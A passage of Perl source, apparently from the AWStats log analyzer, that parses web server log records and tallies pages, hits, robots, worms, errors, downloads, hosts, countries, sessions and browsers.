elsif ( @OnlyUsers && !&OnlyUser( $field[$pos_logname] ) ) {
$qualifdrop =
"Dropped record (URL $field[$pos_logname] not qualified by OnlyUsers)";
}
elsif ( @OnlyFiles && !&OnlyFile( $field[$pos_url] ) ) {
$qualifdrop =
"Dropped record (URL $field[$pos_url] not qualified by OnlyFiles)";
}
elsif ( @OnlyUserAgents && !&OnlyUserAgent( $field[$pos_agent] ) ) {
$qualifdrop =
"Dropped record (user agent '$field[$pos_agent]' not qualified by OnlyUserAgents)";
}
if ($qualifdrop) {
$NbOfLinesDropped++;
if ($Debug) { debug( "$qualifdrop: $line", 4 ); }
if ($ShowDropped) { print "$qualifdrop: $line\n"; }
$qualifdrop = '';
next;
}
# Record is approved
#-------------------
# Is it in a new break section ?
#-------------------------------
if ( $daterecord > $lastprocesseddate ) {
# A new break to process
if ( $lastprocesseddate > 0 ) {
# We save data of previous break
&Read_History_With_TmpUpdate(
$lastprocessedyear, $lastprocessedmonth,
$lastprocessedday, $lastprocessedhour,
1, 1,
"all", ( $lastlinenb + $NbOfLinesParsed ),
$lastlineoffset, &CheckSum($line)
);
$counterforflushtest = 0; # We reset counterforflushtest
}
$lastprocessedyear = $yearrecord;
$lastprocessedmonth = $monthrecord;
$lastprocessedday = $dayrecord;
$lastprocessedhour = $hourrecord;
if ( $DatabaseBreak eq 'month' ) {
$lastprocesseddate =
sprintf( "%04i%02i", $yearrecord, $monthrecord );
}
elsif ( $DatabaseBreak eq 'year' ) {
$lastprocesseddate = sprintf( "%04i%", $yearrecord );
}
elsif ( $DatabaseBreak eq 'day' ) {
$lastprocesseddate = sprintf( "%04i%02i%02i",
$yearrecord, $monthrecord, $dayrecord );
}
elsif ( $DatabaseBreak eq 'hour' ) {
$lastprocesseddate = sprintf( "%04i%02i%02i%02i",
$yearrecord, $monthrecord, $dayrecord, $hourrecord );
}
}
$countedtraffic = 0;
$NbOfNewLines++;
# Convert $field[$pos_size]
# if ($field[$pos_size] eq '-') { $field[$pos_size]=0; }
# Define a clean target URL and referrer URL
# We keep a clean $field[$pos_url] and
# we store original value for urlwithnoquery, tokenquery and standalonequery
#---------------------------------------------------------------------------
# Decode "unreserved characters" - URIs with common ASCII characters
# percent-encoded are equivalent to their unencoded versions.
#
# See section 2.3. of RFC 3986.
$field[$pos_url] = DecodeRFC3986UnreservedString($field[$pos_url]);
if ($URLNotCaseSensitive) { $field[$pos_url] = lc( $field[$pos_url] ); }
# Possible URL syntax for $field[$pos_url]: /mydir/mypage.ext?param1=x¶m2=y#aaa, /mydir/mypage.ext#aaa, /
my $urlwithnoquery;
my $tokenquery;
my $standalonequery;
my $anchor = '';
if ( $field[$pos_url] =~ s/$regtruncanchor//o ) {
$anchor = $1;
} # Remove and save anchor
if ($URLWithQuery) {
$urlwithnoquery = $field[$pos_url];
my $foundparam = ( $urlwithnoquery =~ s/$regtruncurl//o );
$tokenquery = $1 || '';
$standalonequery = $2 || '';
# For IIS setup, if pos_query is enabled we need to combine the URL to query strings
if ( !$foundparam
&& $pos_query >= 0
&& $field[$pos_query]
&& $field[$pos_query] ne '-' )
{
$foundparam = 1;
$tokenquery = '?';
$standalonequery = $field[$pos_query];
# Define query
$field[$pos_url] .= '?' . $field[$pos_query];
}
if ($foundparam) {
# Keep only params that are defined in URLWithQueryWithOnlyFollowingParameters
my $newstandalonequery = '';
if (@URLWithQueryWithOnly) {
foreach (@URLWithQueryWithOnly) {
foreach my $p ( split( /&/, $standalonequery ) ) {
if ($URLNotCaseSensitive) {
if ( $p =~ /^$_=/i ) {
$newstandalonequery .= "$p&";
last;
}
}
else {
if ( $p =~ /^$_=/ ) {
$newstandalonequery .= "$p&";
last;
}
}
}
}
chop $newstandalonequery;
}
# Remove params that are marked to be ignored in URLWithQueryWithoutFollowingParameters
elsif (@URLWithQueryWithout) {
foreach my $p ( split( /&/, $standalonequery ) ) {
my $found = 0;
foreach (@URLWithQueryWithout) {
#if ($Debug) { debug(" Check if '$_=' is param '$p' to remove it from query",5); }
if ($URLNotCaseSensitive) {
if ( $p =~ /^$_=/i ) { $found = 1; last; }
}
else {
if ( $p =~ /^$_=/ ) { $found = 1; last; }
}
}
if ( !$found ) { $newstandalonequery .= "$p&"; }
}
chop $newstandalonequery;
}
else { $newstandalonequery = $standalonequery; }
# Define query
$field[$pos_url] = $urlwithnoquery;
if ($newstandalonequery) {
$field[$pos_url] .= "$tokenquery$newstandalonequery";
}
}
}
else {
# Trunc parameters of URL
$field[$pos_url] =~ s/$regtruncurl//o;
$urlwithnoquery = $field[$pos_url];
$tokenquery = $1 || '';
$standalonequery = $2 || '';
# For IIS setup, if pos_query is enabled we need to use it for query strings
if ( $pos_query >= 0
&& $field[$pos_query]
&& $field[$pos_query] ne '-' )
{
$tokenquery = '?';
$standalonequery = $field[$pos_query];
}
}
if ( $URLWithAnchor && $anchor ) {
$field[$pos_url] .= "#$anchor";
} # Restore anchor
# Here now urlwithnoquery is /mydir/mypage.ext, /mydir, /, /page#XXX
# Here now tokenquery is '' or '?' or ';'
# Here now standalonequery is '' or 'param1=x'
# Define page and extension
#--------------------------
my $PageBool = 1;
# Extension
my $extension = Get_Extension($regext, $urlwithnoquery);
if ( $NotPageList{$extension} ||
($MimeHashLib{$extension}[1]) && $MimeHashLib{$extension}[1] ne 'p') { $PageBool = 0;}
if ( @NotPageFiles && &NotPageFile( $field[$pos_url] ) ) { $PageBool = 0; }
# Analyze: misc tracker (must be before return code)
#---------------------------------------------------
if ( $urlwithnoquery =~ /$regmisc/o ) {
if ($Debug) {
debug(
" Found an URL that is a MiscTracker record with standalonequery=$standalonequery",
2
);
}
my $foundparam = 0;
foreach ( split( /&/, $standalonequery ) ) {
if ( $_ =~ /^screen=(\d+)x(\d+)/i ) {
$foundparam++;
$_screensize_h{"$1x$2"}++;
next;
}
#if ($_ =~ /cdi=(\d+)/i) { $foundparam++; $_screendepth_h{"$1"}++; next; }
if ( $_ =~ /^nojs=(\w+)/i ) {
$foundparam++;
if ( $1 eq 'y' ) { $_misc_h{"JavascriptDisabled"}++; }
next;
}
if ( $_ =~ /^java=(\w+)/i ) {
$foundparam++;
if ( $1 eq 'true' ) { $_misc_h{"JavaEnabled"}++; }
next;
}
if ( $_ =~ /^shk=(\w+)/i ) {
$foundparam++;
if ( $1 eq 'y' ) { $_misc_h{"DirectorSupport"}++; }
next;
}
if ( $_ =~ /^fla=(\w+)/i ) {
$foundparam++;
if ( $1 eq 'y' ) { $_misc_h{"FlashSupport"}++; }
next;
}
if ( $_ =~ /^rp=(\w+)/i ) {
$foundparam++;
if ( $1 eq 'y' ) { $_misc_h{"RealPlayerSupport"}++; }
next;
}
if ( $_ =~ /^mov=(\w+)/i ) {
$foundparam++;
if ( $1 eq 'y' ) { $_misc_h{"QuickTimeSupport"}++; }
next;
}
if ( $_ =~ /^wma=(\w+)/i ) {
$foundparam++;
if ( $1 eq 'y' ) {
$_misc_h{"WindowsMediaPlayerSupport"}++;
}
next;
}
if ( $_ =~ /^pdf=(\w+)/i ) {
$foundparam++;
if ( $1 eq 'y' ) { $_misc_h{"PDFSupport"}++; }
next;
}
}
if ($foundparam) { $_misc_h{"TotalMisc"}++; }
}
# Analyze: successful favicon (=> countedtraffic=1 if favicon)
#--------------------------------------------------
if ( $urlwithnoquery =~ /$regfavico/o ) {
if ( $field[$pos_code] != 404 ) {
$_misc_h{'AddToFavourites'}++;
}
$countedtraffic =
1; # favicon is a case that must not be counted anywhere else
$_time_nv_h[$hourrecord]++;
if ( $field[$pos_code] != 404 && $pos_size>0) {
$_time_nv_k[$hourrecord] += int( $field[$pos_size] );
}
}
# Analyze: Worms (=> countedtraffic=2 if worm)
#---------------------------------------------
if ( !$countedtraffic ) {
if ($LevelForWormsDetection) {
foreach (@WormsSearchIDOrder) {
if ( $field[$pos_url] =~ /$_/ ) {
# It's a worm
my $worm = &UnCompileRegex($_);
if ($Debug) {
debug(
" Record is a hit from a worm identified by '$worm'",
2
);
}
$worm = $WormsHashID{$worm} || 'unknown';
$_worm_h{$worm}++;
if ($pos_size>0){$_worm_k{$worm} += int( $field[$pos_size] );}
$_worm_l{$worm} = $timerecord;
$countedtraffic = 2;
if ($PageBool) { $_time_nv_p[$hourrecord]++; }
$_time_nv_h[$hourrecord]++;
if ($pos_size>0){$_time_nv_k[$hourrecord] += int( $field[$pos_size] );}
last;
}
}
}
}
# Analyze: Status code (=> countedtraffic=3 if error)
#----------------------------------------------------
if ( !$countedtraffic ) {
if ( $LogType eq 'W' || $LogType eq 'S' )
{ # HTTP record or Stream record
if ( $ValidHTTPCodes{ $field[$pos_code] } ) { # Code is valid
if ( int($field[$pos_code]) == 304 && $pos_size>0) { $field[$pos_size] = 0; }
# track downloads
if (int($field[$pos_code]) == 200 && $MimeHashLib{$extension}[1] eq 'd' && $urlwithnoquery !~ /robots.txt$/ ) # We track download if $MimeHashLib{$extension}[1] = 'd'
{
$_downloads{$urlwithnoquery}->{'AWSTATS_HITS'}++;
$_downloads{$urlwithnoquery}->{'AWSTATS_SIZE'} += ($pos_size>0 ? int($field[$pos_size]) : 0);
if ($Debug) { debug( " New download detected: '$urlwithnoquery'", 2 ); }
}
# handle 206 download continuation message IF we had a successful 200 before, otherwise it goes in errors
}elsif(int($field[$pos_code]) == 206
#&& $_downloads{$urlwithnoquery}->{$field[$pos_host]}[0] > 0
&& ($MimeHashLib{$extension}[1] eq 'd')){
$_downloads{$urlwithnoquery}->{'AWSTATS_SIZE'} += ($pos_size>0 ? int($field[$pos_size]) : 0);
$_downloads{$urlwithnoquery}->{'AWSTATS_206'}++;
#$_downloads{$urlwithnoquery}->{$field[$pos_host]}[1] = $timerecord;
if ($pos_size>0){
#$_downloads{$urlwithnoquery}->{$field[$pos_host]}[2] = int($field[$pos_size]);
$DayBytes{$yearmonthdayrecord} += int($field[$pos_size]);
$_time_k[$hourrecord] += int($field[$pos_size]);
}
$countedtraffic = 6; # 206 continued download, so we track bandwidth but not pages or hits
if ($Debug) { debug( " Download continuation detected: '$urlwithnoquery'", 2 ); }
}else { # Code is not valid
if ( $field[$pos_code] !~ /^\d\d\d$/ ) {
$field[$pos_code] = 999;
}
$_errors_h{ $field[$pos_code] }++;
if ($pos_size>0){$_errors_k{ $field[$pos_code] } += int( $field[$pos_size] );}
foreach my $code ( keys %TrapInfosForHTTPErrorCodes ) {
if ( $field[$pos_code] == $code ) {
# This is an error code which referrer need to be tracked
my $newurl =
substr( $field[$pos_url], 0,
$MaxLengthOfStoredURL );
$newurl =~ s/[$URLQuerySeparators].*$//;
$_sider_h{$code}{$newurl}++;
if ( $pos_referer >= 0 && $ShowHTTPErrorsPageDetail =~ /R/i ) {
my $newreferer = $field[$pos_referer];
if ( !$URLReferrerWithQuery ) {
$newreferer =~ s/[$URLQuerySeparators].*$//;
}
$_referer_h{$code}{$newurl} = $newreferer;
}
if ( $pos_host >= 0 && $ShowHTTPErrorsPageDetail =~ /H/i ) {
my $newhost = $field[$pos_host];
if ( !$URLReferrerWithQuery ) {
$newhost =~ s/[$URLQuerySeparators].*$//;
}
$_err_host_h{$code}{$newurl} = $newhost;
last;
}
}
}
if ($Debug) {
debug(
" Record stored in the status code chart (status code=$field[$pos_code])",
3
);
}
$countedtraffic = 3;
if ($PageBool) { $_time_nv_p[$hourrecord]++; }
$_time_nv_h[$hourrecord]++;
if ($pos_size>0){$_time_nv_k[$hourrecord] += int( $field[$pos_size] );}
}
}
elsif ( $LogType eq 'M' ) { # Mail record
if ( !$ValidSMTPCodes{ $field[$pos_code] } )
{ # Code is not valid
$_errors_h{ $field[$pos_code] }++;
if ( $field[$pos_size] ne '-' && $pos_size>0) {
$_errors_k{ $field[$pos_code] } +=
int( $field[$pos_size] );
}
if ($Debug) {
debug(
" Record stored in the status code chart (status code=$field[$pos_code])",
3
);
}
$countedtraffic = 3;
if ($PageBool) { $_time_nv_p[$hourrecord]++; }
$_time_nv_h[$hourrecord]++;
if ( $field[$pos_size] ne '-' && $pos_size>0) {
$_time_nv_k[$hourrecord] += int( $field[$pos_size] );
}
}
}
elsif ( $LogType eq 'F' ) { # FTP record
}
}
# Analyze: Robot from robot database (=> countedtraffic=4 if robot)
#------------------------------------------------------------------
if ( !$countedtraffic || $countedtraffic == 6) {
if ( $pos_agent >= 0 ) {
if ($DecodeUA) {
$field[$pos_agent] =~ s/%20/_/g;
} # This is to support servers (like Roxen) that writes user agent with %20 in it
$UserAgent = $field[$pos_agent];
if ( $UserAgent && $UserAgent eq '-' ) { $UserAgent = ''; }
if ($LevelForRobotsDetection) {
if ($UserAgent) {
my $uarobot = $TmpRobot{$UserAgent};
if ( !$uarobot ) {
#study $UserAgent; Does not increase speed
foreach (@RobotsSearchIDOrder) {
if ( $UserAgent =~ /$_/ ) {
my $bot = &UnCompileRegex($_);
$TmpRobot{$UserAgent} = $uarobot = "$bot"
; # Last time, we won't search if robot or not. We know it is.
if ($Debug) {
debug(
" UserAgent '$UserAgent' is added to TmpRobot with value '$bot'",
2
);
}
last;
}
}
if ( !$uarobot )
{ # Last time, we won't search if robot or not. We know it's not.
$TmpRobot{$UserAgent} = $uarobot = '-';
}
}
if ( $uarobot ne '-' ) {
# If robot, we stop here
if ($Debug) {
debug(
" UserAgent '$UserAgent' contains robot ID '$uarobot'",
2
);
}
$_robot_h{$uarobot}++;
if ( $field[$pos_size] ne '-' && $pos_size>0) {
$_robot_k{$uarobot} += int( $field[$pos_size] );
}
$_robot_l{$uarobot} = $timerecord;
if ( $urlwithnoquery =~ /$regrobot/o ) {
$_robot_r{$uarobot}++;
}
$countedtraffic = 4;
if ($PageBool) { $_time_nv_p[$hourrecord]++; }
$_time_nv_h[$hourrecord]++;
if ( $field[$pos_size] ne '-' && $pos_size>0) {
$_time_nv_k[$hourrecord] +=
int( $field[$pos_size] );
}
}
}
else {
my $uarobot = 'no_user_agent';
# It's a robot or at least a bad browser, we stop here
if ($Debug) {
debug(
" UserAgent not defined so it should be a robot, saved as robot 'no_user_agent'",
2
);
}
$_robot_h{$uarobot}++;
if ($pos_size>0){$_robot_k{$uarobot} += int( $field[$pos_size] );}
$_robot_l{$uarobot} = $timerecord;
if ( $urlwithnoquery =~ /$regrobot/o ) {
$_robot_r{$uarobot}++;
}
$countedtraffic = 4;
if ($PageBool) { $_time_nv_p[$hourrecord]++; }
$_time_nv_h[$hourrecord]++;
if ($pos_size>0){$_time_nv_k[$hourrecord] += int( $field[$pos_size] );}
}
}
}
}
# Analyze: Robot from "hit on robots.txt" file (=> countedtraffic=5 if robot)
# -------------------------------------------------------------------------
if ( !$countedtraffic ) {
if ( $urlwithnoquery =~ /$regrobot/o ) {
if ($Debug) { debug( " It's an unknown robot", 2 ); }
$_robot_h{'unknown'}++;
if ($pos_size>0){$_robot_k{'unknown'} += int( $field[$pos_size] );}
$_robot_l{'unknown'} = $timerecord;
$_robot_r{'unknown'}++;
$countedtraffic = 5; # Must not be counted somewhere else
if ($PageBool) { $_time_nv_p[$hourrecord]++; }
$_time_nv_h[$hourrecord]++;
if ($pos_size>0){$_time_nv_k[$hourrecord] += int( $field[$pos_size] );}
}
}
# Analyze: File type - Compression
#---------------------------------
if ( !$countedtraffic || $countedtraffic == 6) {
if ($LevelForFileTypesDetection) {
if ($countedtraffic != 6){$_filetypes_h{$extension}++;}
if ( $field[$pos_size] ne '-' && $pos_size>0) {
$_filetypes_k{$extension} += int( $field[$pos_size] );
}
# Compression
if ( $pos_gzipin >= 0 && $field[$pos_gzipin] )
{ # If in and out in log
my ( $notused, $in ) = split( /:/, $field[$pos_gzipin] );
my ( $notused1, $out, $notused2 ) =
split( /:/, $field[$pos_gzipout] );
if ($out) {
$_filetypes_gz_in{$extension} += $in;
$_filetypes_gz_out{$extension} += $out;
}
}
elsif ( $pos_compratio >= 0
&& ( $field[$pos_compratio] =~ /(\d+)/ ) )
{ # Calculate in/out size from percentage
if ( $fieldlib[$pos_compratio] eq 'gzipratio' ) {
# with mod_gzip: % is size (before-after)/before (low for jpg) ??????????
$_filetypes_gz_in{$extension} +=
int(
$field[$pos_size] * 100 / ( ( 100 - $1 ) || 1 ) );
}
else {
# with mod_deflate: % is size after/before (high for jpg)
$_filetypes_gz_in{$extension} +=
int( $field[$pos_size] * 100 / ( $1 || 1 ) );
}
if ($pos_size>0){$_filetypes_gz_out{$extension} += int( $field[$pos_size] );}
}
}
# Analyze: Date - Hour - Pages - Hits - Kilo
#-------------------------------------------
if ($PageBool) {
# Replace default page name with / only ('if' is to increase speed when only 1 value in @DefaultFile)
if ( @DefaultFile > 1 ) {
foreach my $elem (@DefaultFile) {
if ( $field[$pos_url] =~ s/\/$elem$/\// ) { last; }
}
}
else { $field[$pos_url] =~ s/$regdefault/\//o; }
# FirstTime and LastTime are First and Last human visits (so changed if access to a page)
$FirstTime{$lastprocesseddate} ||= $timerecord;
$LastTime{$lastprocesseddate} = $timerecord;
$DayPages{$yearmonthdayrecord}++;
$_url_p{ $field[$pos_url] }++; #Count accesses for page (page)
if ( $field[$pos_size] ne '-' && $pos_size>0) {
$_url_k{ $field[$pos_url] } += int( $field[$pos_size] );
}
$_time_p[$hourrecord]++; #Count accesses for hour (page)
# TODO Use an id for hash key of url
# $_url_t{$_url_id}
}
if ($countedtraffic != 6){$_time_h[$hourrecord]++;}
if ($countedtraffic != 6){$DayHits{$yearmonthdayrecord}++;} #Count accesses for hour (hit)
if ( $field[$pos_size] ne '-' && $pos_size>0) {
$_time_k[$hourrecord] += int( $field[$pos_size] );
$DayBytes{$yearmonthdayrecord} += int( $field[$pos_size] ); #Count accesses for hour (kb)
}
# Analyze: Login
#---------------
if ( $pos_logname >= 0
&& $field[$pos_logname]
&& $field[$pos_logname] ne '-' )
{
$field[$pos_logname] =~
s/ /_/g; # This is to allow space in logname
if ( $LogFormat eq '6' ) {
$field[$pos_logname] =~ s/^\"//;
$field[$pos_logname] =~ s/\"$//;
} # logname field has " with Domino 6+
if ($AuthenticatedUsersNotCaseSensitive) {
$field[$pos_logname] = lc( $field[$pos_logname] );
}
# We found an authenticated user
if ($PageBool) {
$_login_p{ $field[$pos_logname] }++;
} #Count accesses for page (page)
if ($countedtraffic != 6){$_login_h{$field[$pos_logname]}++;} #Count accesses for page (hit)
if ($pos_size>0){$_login_k{ $field[$pos_logname] } +=
int( $field[$pos_size] );} #Count accesses for page (kb)
$_login_l{ $field[$pos_logname] } = $timerecord;
}
}
# Do DNS lookup
#--------------
my $Host = $field[$pos_host];
my $HostResolved = ''
; # HostResolved will be defined in next paragraf if countedtraffic is true
if( $Host =~ /^([^:]+):[0-9]+$/ ){ # Host may sometimes have an ip:port syntax (ex: 54.32.12.12:60321)
$Host = $1;
}
if ( !$countedtraffic || $countedtraffic == 6) {
my $ip = 0;
if ($DNSLookup) { # DNS lookup is 1 or 2
if ( $Host =~ /$regipv4l/o ) { # IPv4 lighttpd
$Host =~ s/^::ffff://;
$ip = 4;
}
elsif ( $Host =~ /$regipv4/o ) { $ip = 4; } # IPv4
elsif ( $Host =~ /$regipv6/o ) { $ip = 6; } # IPv6
if ($ip) {
# Check in static DNS cache file
$HostResolved = $MyDNSTable{$Host};
if ($HostResolved) {
if ($Debug) {
debug(
" DNS lookup asked for $Host and found in static DNS cache file: $HostResolved",
4
);
}
}
elsif ( $DNSLookup == 1 ) {
# Check in session cache (dynamic DNS cache file + session DNS cache)
$HostResolved = $TmpDNSLookup{$Host};
if ( !$HostResolved ) {
if ( @SkipDNSLookupFor && &SkipDNSLookup($Host) ) {
$HostResolved = $TmpDNSLookup{$Host} = '*';
if ($Debug) {
debug(
" No need of reverse DNS lookup for $Host, skipped at user request.",
4
);
}
}
else {
if ( $ip == 4 ) {
my $lookupresult =
gethostbyaddr(
pack( "C4", split( /\./, $Host ) ),
AF_INET )
; # This is very slow, may spend 20 seconds
if ( !$lookupresult
|| $lookupresult =~ /$regipv4/o
|| !IsAscii($lookupresult) )
{
$TmpDNSLookup{$Host} = $HostResolved =
'*';
}
else {
$TmpDNSLookup{$Host} = $HostResolved =
$lookupresult;
}
if ($Debug) {
debug(
" Reverse DNS lookup for $Host done: $HostResolved",
4
);
}
}
elsif ( $ip == 6 ) {
if ( $PluginsLoaded{'GetResolvedIP'}
{'ipv6'} )
{
my $lookupresult =
GetResolvedIP_ipv6($Host);
if ( !$lookupresult
|| !IsAscii($lookupresult) )
{
$TmpDNSLookup{$Host} =
$HostResolved = '*';
}
else {
$TmpDNSLookup{$Host} =
$HostResolved = $lookupresult;
}
}
else {
$TmpDNSLookup{$Host} = $HostResolved =
'*';
warning(
"Reverse DNS lookup for $Host not available without ipv6 plugin enabled."
);
}
}
else { error("Bad value vor ip"); }
}
}
}
else {
$HostResolved = '*';
if ($Debug) {
debug(
" DNS lookup by static DNS cache file asked for $Host but not found.",
4
);
}
}
}
else {
if ($Debug) {
debug(
" DNS lookup asked for $Host but this is not an IP address.",
4
);
}
$DNSLookupAlreadyDone = $LogFile;
}
}
else {
if ( $Host =~ /$regipv4l/o ) {
$Host =~ s/^::ffff://;
$HostResolved = '*';
$ip = 4;
}
elsif ( $Host =~ /$regipv4/o ) {
$HostResolved = '*';
$ip = 4;
} # IPv4
elsif ( $Host =~ /$regipv6/o ) {
$HostResolved = '*';
$ip = 6;
} # IPv6
if ($Debug) { debug( " No DNS lookup asked.", 4 ); }
}
# Analyze: Country (Top-level domain)
#------------------------------------
if ($Debug) {
debug(
" Search country (Host=$Host HostResolved=$HostResolved ip=$ip)",
4
);
}
my $Domain = 'ip';
# Set $HostResolved to host and resolve domain
if ( $HostResolved eq '*' ) {
# $Host is an IP address and is not resolved (failed or not asked) or resolution gives an IP address
$HostResolved = $Host;
# Resolve Domain
if ( $PluginsLoaded{'GetCountryCodeByAddr'}{'geoip6'} ) {
$Domain = GetCountryCodeByAddr_geoip6($HostResolved);
}
elsif ( $PluginsLoaded{'GetCountryCodeByAddr'}{'geoip'} ) {
$Domain = GetCountryCodeByAddr_geoip($HostResolved);
}
# elsif ($PluginsLoaded{'GetCountryCodeByAddr'}{'geoip_region_maxmind'}) { $Domain=GetCountryCodeByAddr_geoip_region_maxmind($HostResolved); }
# elsif ($PluginsLoaded{'GetCountryCodeByAddr'}{'geoip_city_maxmind'}) { $Domain=GetCountryCodeByAddr_geoip_city_maxmind($HostResolved); }
elsif ( $PluginsLoaded{'GetCountryCodeByAddr'}{'geoipfree'} ) {
$Domain = GetCountryCodeByAddr_geoipfree($HostResolved);
}
elsif ( $PluginsLoaded{'GetCountryCodeByAddr'}{'geoip2_country'} ) {
$Domain = GetCountryCodeByAddr_geoip2_country($HostResolved);
}
if ($AtLeastOneSectionPlugin) {
foreach my $pluginname (
keys %{ $PluginsLoaded{'SectionProcessIp'} } )
{
my $function = "SectionProcessIp_$pluginname";
if ($Debug) {
debug( " Call to plugin function $function", 5 );
}
&$function($HostResolved);
}
}
}
else {
# $Host was already a host name ($ip=0, $Host=name, $HostResolved='') or has been resolved ($ip>0, $Host=ip, $HostResolved defined)
$HostResolved = lc( $HostResolved ? $HostResolved : $Host );
# Resolve Domain
if ($ip)
{ # If we have ip, we use it in priority instead of hostname
if ( $PluginsLoaded{'GetCountryCodeByAddr'}{'geoip6'} ) {
$Domain = GetCountryCodeByAddr_geoip6($Host);
}
elsif ( $PluginsLoaded{'GetCountryCodeByAddr'}{'geoip'} ) {
$Domain = GetCountryCodeByAddr_geoip($Host);
}
# elsif ($PluginsLoaded{'GetCountryCodeByAddr'}{'geoip_region_maxmind'}) { $Domain=GetCountryCodeByAddr_geoip_region_maxmind($Host); }
# elsif ($PluginsLoaded{'GetCountryCodeByAddr'}{'geoip_city_maxmind'}) { $Domain=GetCountryCodeByAddr_geoip_city_maxmind($Host); }
elsif (
$PluginsLoaded{'GetCountryCodeByAddr'}{'geoipfree'} )
{
$Domain = GetCountryCodeByAddr_geoipfree($Host);
}
elsif (
$PluginsLoaded{'GetCountryCodeByAddr'}{'geoip2_country'} )
{
$Domain = GetCountryCodeByAddr_geoip2_country($Host);
}
elsif ( $HostResolved =~ /\.(\w+)$/ ) { $Domain = $1; }
if ($AtLeastOneSectionPlugin) {
foreach my $pluginname (
keys %{ $PluginsLoaded{'SectionProcessIp'} } )
{
my $function = "SectionProcessIp_$pluginname";
if ($Debug) {
debug( " Call to plugin function $function",
5 );
}
&$function($Host);
}
}
}
else {
if ( $PluginsLoaded{'GetCountryCodeByName'}{'geoip6'} ) {
$Domain = GetCountryCodeByName_geoip6($HostResolved);
}
elsif ( $PluginsLoaded{'GetCountryCodeByName'}{'geoip'} ) {
$Domain = GetCountryCodeByName_geoip($HostResolved);
}
# elsif ($PluginsLoaded{'GetCountryCodeByName'}{'geoip_region_maxmind'}) { $Domain=GetCountryCodeByName_geoip_region_maxmind($HostResolved); }
# elsif ($PluginsLoaded{'GetCountryCodeByName'}{'geoip_city_maxmind'}) { $Domain=GetCountryCodeByName_geoip_city_maxmind($HostResolved); }
elsif (
$PluginsLoaded{'GetCountryCodeByName'}{'geoipfree'} )
{
$Domain = GetCountryCodeByName_geoipfree($HostResolved);
}
elsif (
$PluginsLoaded{'GetCountryCodeByName'}{'geoip2_country'} )
{
$Domain = GetCountryCodeByName_geoip2_country($HostResolved);
}
elsif ( $HostResolved =~ /\.(\w+)$/ ) { $Domain = $1; }
if ($AtLeastOneSectionPlugin) {
foreach my $pluginname (
keys %{ $PluginsLoaded{'SectionProcessHostname'} } )
{
my $function = "SectionProcessHostname_$pluginname";
if ($Debug) {
debug( " Call to plugin function $function",
5 );
}
&$function($HostResolved);
}
}
}
}
# Store country
if ($PageBool) { $_domener_p{$Domain}++; }
if ($countedtraffic != 6){$_domener_h{$Domain}++;}
if ( $field[$pos_size] ne '-' && $pos_size>0) {
$_domener_k{$Domain} += int( $field[$pos_size] );
}
# Analyze: Host, URL entry+exit and Session
#------------------------------------------
if ($PageBool) {
my $timehostl = $_host_l{$HostResolved};
if ($timehostl) {
# A visit for this host was already detected
# TODO everywhere there is $VISITTIMEOUT
# $timehostl =~ /^\d\d\d\d\d\d(\d\d)/; my $daytimehostl=$1;
# if ($timerecord > ($timehostl+$VISITTIMEOUT+($dateparts[3]>$daytimehostl?$NEWDAYVISITTIMEOUT:0))) {
if ( $timerecord > ( $timehostl + $VISITTIMEOUT ) ) {
# This is a second visit or more
if ( !$_waithost_s{$HostResolved} ) {
# This is a second visit or more
# We count 'visit','exit','entry','DayVisits'
if ($Debug) {
debug(
" This is a second visit for $HostResolved.",
4
);
}
my $timehosts = $_host_s{$HostResolved};
my $page = $_host_u{$HostResolved};
if ($page) { $_url_x{$page}++; }
$_url_e{ $field[$pos_url] }++;
$DayVisits{$yearmonthdayrecord}++;
# We can't count session yet because we don't have the start so
# we save params of first 'wait' session
$_waithost_l{$HostResolved} = $timehostl;
$_waithost_s{$HostResolved} = $timehosts;
$_waithost_u{$HostResolved} = $page;
}
else {
# This is third visit or more
# We count 'session','visit','exit','entry','DayVisits'
if ($Debug) {
debug(
" This is a third visit or more for $HostResolved.",
4
);
}
my $timehosts = $_host_s{$HostResolved};
my $page = $_host_u{$HostResolved};
if ($page) { $_url_x{$page}++; }
$_url_e{ $field[$pos_url] }++;
$DayVisits{$yearmonthdayrecord}++;
if ($timehosts) {
$_session{ GetSessionRange( $timehosts,
$timehostl ) }++;
}
}
# Save new session properties
$_host_s{$HostResolved} = $timerecord;
$_host_l{$HostResolved} = $timerecord;
$_host_u{$HostResolved} = $field[$pos_url];
}
elsif ( $timerecord > $timehostl ) {
# This is a same visit we can count
if ($Debug) {
debug(
" This is same visit still running for $HostResolved. host_l/host_u changed to $timerecord/$field[$pos_url]",
4
);
}
$_host_l{$HostResolved} = $timerecord;
$_host_u{$HostResolved} = $field[$pos_url];
}
elsif ( $timerecord == $timehostl ) {
# This is a same visit we can count
if ($Debug) {
debug(
" This is same visit still running for $HostResolved. host_l/host_u changed to $timerecord/$field[$pos_url]",
4
);
}
$_host_u{$HostResolved} = $field[$pos_url];
}
elsif ( $timerecord < $_host_s{$HostResolved} ) {
# Should happens only with not correctly sorted log files
if ($Debug) {
debug(
" This is same visit still running for $HostResolved with start not in order. host_s changed to $timerecord (entry page also changed if first visit)",
4
);
}
if ( !$_waithost_s{$HostResolved} ) {
# We can reorder entry page only if it's the first visit found in this update run (The saved entry page was $_waithost_e if $_waithost_s{$HostResolved} is not defined. If second visit or more, entry was directly counted and not saved)
$_waithost_e{$HostResolved} = $field[$pos_url];
}
else {
# We can't change entry counted as we dont't know what was the url counted as entry
}
$_host_s{$HostResolved} = $timerecord;
}
else {
if ($Debug) {
debug(
" This is same visit still running for $HostResolved with hit between start and last hits. No change",
4
);
}
}
}
else {
# This is a new visit (may be). First new visit found for this host. We save in wait array the entry page to count later
if ($Debug) {
debug(
" New session (may be) for $HostResolved. Save in wait array to see later",
4
);
}
$_waithost_e{$HostResolved} = $field[$pos_url];
# Save new session properties
$_host_u{$HostResolved} = $field[$pos_url];
$_host_s{$HostResolved} = $timerecord;
$_host_l{$HostResolved} = $timerecord;
}
$_host_p{$HostResolved}++;
}
$_host_h{$HostResolved}++;
if ( $field[$pos_size] ne '-' && $pos_size>0) {
$_host_k{$HostResolved} += int( $field[$pos_size] );
}
# Analyze: Browser - OS
#----------------------
if ( $pos_agent >= 0 ) {
if ($LevelForBrowsersDetection) {
# Analyze: Browser
#-----------------
my $uabrowser = $TmpBrowser{$UserAgent};
if ( !$uabrowser ) {
my $found = 1;
# Edge (must be at beginning)
if ($UserAgent =~ /$regveredge/o)
{
$_browser_h{"edge$1"}++;
if ($PageBool) { $_browser_p{"edge$1"}++; }
$TmpBrowser{$UserAgent} = "edge$1";
}
# Opera ?
elsif ( $UserAgent =~ /$regveropera/o ) { # !!!! version number in in regex $1 or $2 !!!
